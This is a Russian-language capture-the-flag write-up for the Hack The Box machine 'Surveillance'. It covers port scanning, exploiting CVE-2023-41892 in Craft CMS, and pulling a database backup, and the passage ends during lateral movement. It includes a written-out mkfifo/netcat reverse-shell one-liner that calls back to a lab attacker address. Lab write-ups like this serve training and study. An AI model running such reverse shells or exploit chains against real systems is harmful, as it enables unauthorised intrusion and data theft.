HTB Surveillance. Эксплуатируем инъекцию команд через скрипт ZoneMinder

Содержание статьи

  • Разведка
  • Сканирование портов
  • Точка входа
  • Продвижение
  • Пользователь Matthew
  • Пользователь ZoneMinder
  • Локальное повышение привилегий

В этом рай­тапе я покажу про­цесс экс­плу­ата­ции RCE-уяз­вимос­ти в сис­теме управле­ния кон­тентом ZoneMinder, но сна­чала про­ведем ата­ку на дру­гую CMS — Craft — и покопа­емся в ее базе дан­ных. В кон­це повысим при­виле­гии через инъ­екцию команд ОС.

На­ша цель — получе­ние прав супер­поль­зовате­ля на машине Surveillance с учеб­ной пло­щад­ки Hack The Box. Уро­вень слож­ности — сред­ний.

warning

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

 

Разведка

 

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.245 surveillance.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

Ска­нер нашел два откры­тых пор­та:

  • 22 — служ­ба OpenSSH 8.9p1;
  • 80 — веб‑сер­вер Nginx 1.18.0.

На SSH без учет­ных дан­ных делать нечего, поэто­му сра­зу про­ходим к веб‑сер­веру, обра­тив­шись к адре­су surveillance.htb через бра­узер.

Глав­ная стра­ница сай­та 

Точка входа

На стра­нице находим помет­ку Powered by, из которой мы выяс­няем, что име­ем дело с про­дук­том CMS Craft. При этом ссыл­ка ведет к про­екту на GitHub, бла­года­ря чему узна­ём и вер­сию — 4.4.14.

Глав­ная стра­ница сай­та

Это далеко не пос­ледняя вер­сия, а зна­чит, с боль­шой веро­ятностью в ней с момен­та релиза наш­ли уяз­вимос­ти. Пер­вым делом отправ­ляем­ся искать готовые экс­пло­иты в Google.

По­иск экс­пло­итов в Google

Пер­вая ссыл­ка выводит на экс­пло­ит для уяз­вимос­ти CVE-2023-41892. Из‑за неп­равиль­ной обра­бот­ки дан­ных мож­но передать и выпол­нить PHP-объ­ект, то есть про­экс­плу­ати­ровать RCE.

Ре­зуль­тат выпол­нения экс­пло­ита

За­пус­каем лис­тенер pwncat-cs -lp 4321 и выпол­няем сле­дующий реверс‑шелл. Это нуж­но для получе­ния ста­биль­ной сес­сии на уда­лен­ном хос­те.

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 10.10.16.121 4321 >/tmp/f

Соз­данная сес­сия 

Продвижение

 

Пользователь Matthew

Так как на сер­вере работа­ет целая CMS, пер­вым делом поищем учет­ные дан­ные, которые могут помочь в прод­вижении. В дан­ном слу­чае в катало­ге CMS находим резер­вную копию базы дан­ных.

Со­дер­жимое катало­га CMS

Воз­можнос­ти pwncat поз­воля­ют ска­чать файл. Для это­го ком­бинаци­ей кла­виш Ctrl-D перехо­дим в основное меню pwncat, коман­дой download ска­чива­ем файл, пос­ле чего коман­дой back воз­вра­щаем­ся обратно в тер­минал сес­сии.

Заг­рузка фай­ла

Источник: xakep.ru

Ответить

Ваш адрес email не будет опубликован. Обязательные поля помечены *